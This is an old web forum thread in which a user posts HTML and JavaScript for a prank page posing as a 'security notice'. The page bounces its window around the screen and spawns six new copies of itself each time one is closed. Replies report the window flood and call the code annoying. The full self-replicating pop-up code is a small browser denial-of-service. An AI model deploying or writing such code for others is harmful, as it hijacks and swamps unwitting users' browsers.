Click to See Complete Forum and Search --> : HTML w/Java Script web page issues


ua549
07-29-2005, 06:48 PM
This code (http://www.kitzy.com/junk) works on a local lan, but seems to fail over the internet. It is in no way harmful - just funny.

It should display a page. When that page is closed, it should display 6 small pages that bounce about, when a small page is closed it should display 6 small pages that bounce about, ...

I can't seem to figure what is wrong. My coding skills are limited to assembly, algol and cobol. I just play with modern stuff. Help.


<html>
<head>
<meta name="robots" content="NOINDEX, NOFOLLOW">
<meta name="MSSmartTagsPreventParsing" content="TRUE">
<title>SECURITY NOTICE</title>
</head>
<script language="Javascript">
<!--
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
function openWindow(url){
aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,heigh t=175,titlebar=no,alwaysRaised=yes');
}
function procreate(){
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
}
function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus()}
function newXrt(){
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
}
function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}
function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}
function playBall(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
}
//-->
</script>
<body text=#ffffff bgColor=#000000 onload="flagRun=1;playBall();return true;" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<table height="100%" width="100%">
<tbody>
<tr>
<td vAlign=center align=middle>
<blockquote>
<h3 align=middle>Authorized users only </h3>
<p>&nbsp;</p>
</blockquote>
<H1><font size="7" face="Wingdings">
J J</font></H1></td></tr></tbody></table>
</body>
</html>

MrDigital
07-29-2005, 07:00 PM
Hah, I just opened it on the server I'm on in IE and it got 30 open windows before I could end-task it. I'd say it works. ;) They were bouncing all over the screen.

-MrD

ua549
07-29-2005, 07:24 PM
Thanks for the info. I wonder why it doesn't work for me when I click on the link. It only works locally for me. I'm running IE as well. Maybe it is the SP2 popup blocker doing its job. Hmmmmm.

Nick_B
07-29-2005, 08:07 PM
Thanks for the info. I wonder why it doesn't work for me when I click on the link. It only works locally for me. I'm running IE as well. Maybe it is the SP2 popup blocker doing its job. Hmmmmm.


Running FF in Linux the first page started bouncing all over the place. Once I managed to close that tab (which wasn't particularly easy), nothing else occurred, but I imagine that's the pop-up blocker.

I4one
07-30-2005, 02:11 AM
FWIW - absolutely nothing happened on my 98, using Mozilla.

ua549
07-30-2005, 08:59 AM
Is there a way to replace the Java Script with straight HTML?

rock
07-30-2005, 02:41 PM
Just an aside, but I do have to say this is very annoying. Please guard this code closely! I don't want every John Q. Internet putting stuff like this on their pages!!

I4one
07-30-2005, 11:34 PM
I agree with rock ua;
though I do hope someone with coding knowledge can help you out with why it's not working the way you want -- just preferably through a PM perhaps. I can see the want/need for something like this to greet an Intruder/trespasser/Haxor with, at a 1st line of defense - especially on closed private networks - and even worse if they beyond this little toy. Just doesn't belong on the WWW, IMHO - and actually shouldn't even be do-able, or exploitable

also - I think my having Javascript turned Off in my browser may have something to do with it not doing anything on mine ;)